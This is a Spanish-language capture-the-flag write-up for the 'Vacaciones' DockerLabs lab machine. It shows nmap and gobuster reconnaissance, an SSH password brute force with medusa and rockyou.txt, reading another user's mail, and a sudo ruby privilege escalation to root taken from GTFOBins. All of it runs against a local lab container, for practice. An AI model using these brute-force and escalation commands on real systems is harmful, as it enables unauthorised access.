Vacaciones
This content is not available in your language yet.
Introducción
Sección titulada «Introducción»En este artículo, explico cómo resolví el CTF de la máquina virtual Vacaciones. Detallo paso a paso las herramientas y técnicas utilizadas para explotar las vulnerabilidades presentes.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Vacaciones
- Autor: Romabri
- Nivel de Dificultad: Muy Fácil
- Fecha de creación: 02/06/2024
Paso 0: Instalación/Despliegue
Sección titulada «Paso 0: Instalación/Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el archivo
.zip:Ventana de terminal unzip Vacaciones.zip
-
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh Vacaciones.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Escaneo de la Red
Sección titulada «Escaneo de la Red»Al iniciar la máquina, se nos muestra directamente su IP, por lo que no es necesario realizar un escaneo con ARP.

Creamos una carpeta para organizar los archivos del CTF:
mkdir Vacacionescd Vacacionesmkt # Crea las carpetas: content, exploits, nmap y scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Realizamos un escaneo completo de puertos:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos del archivo de resultados:
extractPorts allPorts
Detección de Servicios
Sección titulada «Detección de Servicios»Hacemos un escaneo de servicios en el puerto detectado (80):
nmap -sCV -p80 172.17.0.2 -oN targetedResultado:

Enumeración Web
Sección titulada «Enumeración Web»Enumeramos los directorios accesibles del servidor web:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt -t 200Resultado:

Descubrimos dos rutas: una al index y otra a un directorio llamado javascript (este último denegado). En el código fuente del index, se encuentra un comentario que parece contener información útil:

Paso 2: Explotación
Sección titulada «Paso 2: Explotación»A partir del comentario, obtenemos dos posibles nombres de usuario: camilo y juan.
Realizamos un ataque de fuerza bruta con medusa al puerto SSH:
medusa -h 172.17.0.2 -u camilo,juan -P /usr/share/wordlists/rockyou.txt -M sshSe encuentra que camilo puede acceder vía SSH con una contraseña del diccionario.
Ingresamos al sistema:
ssh camilo@172.17.0.2
Búsqueda de pistas
Sección titulada «Búsqueda de pistas»No se encontraron binarios con permisos SUID ni entradas en sudo. Sin embargo, en el comentario del index se mencionaba un mensaje. Revisamos el correo de camilo:
cat /var/mail/camiloEncontramos un mensaje de juan:

Elevación de Privilegios
Sección titulada «Elevación de Privilegios»El usuario juan tiene permisos para ejecutar ruby como superusuario. Verificamos con:
sudo -lLuego, usamos searchbins para buscar una técnica de escalado con ruby:
searchbins -b ruby -f sudoEjecutamos el comando sugerido por GTFOBins:
sudo ruby -e 'exec "/bin/sh"'Con esto, obtenemos acceso como root:

Conclusión
Sección titulada «Conclusión»La máquina cumplió con su promesa de dificultad muy baja. Fue una buena práctica para el uso de fuerza bruta, análisis de comentarios en HTML, revisión de correos y escalada de privilegios con binarios sudoers. Las herramientas clave fueron nmap, gobuster, medusa, GTFOBins y searchbins.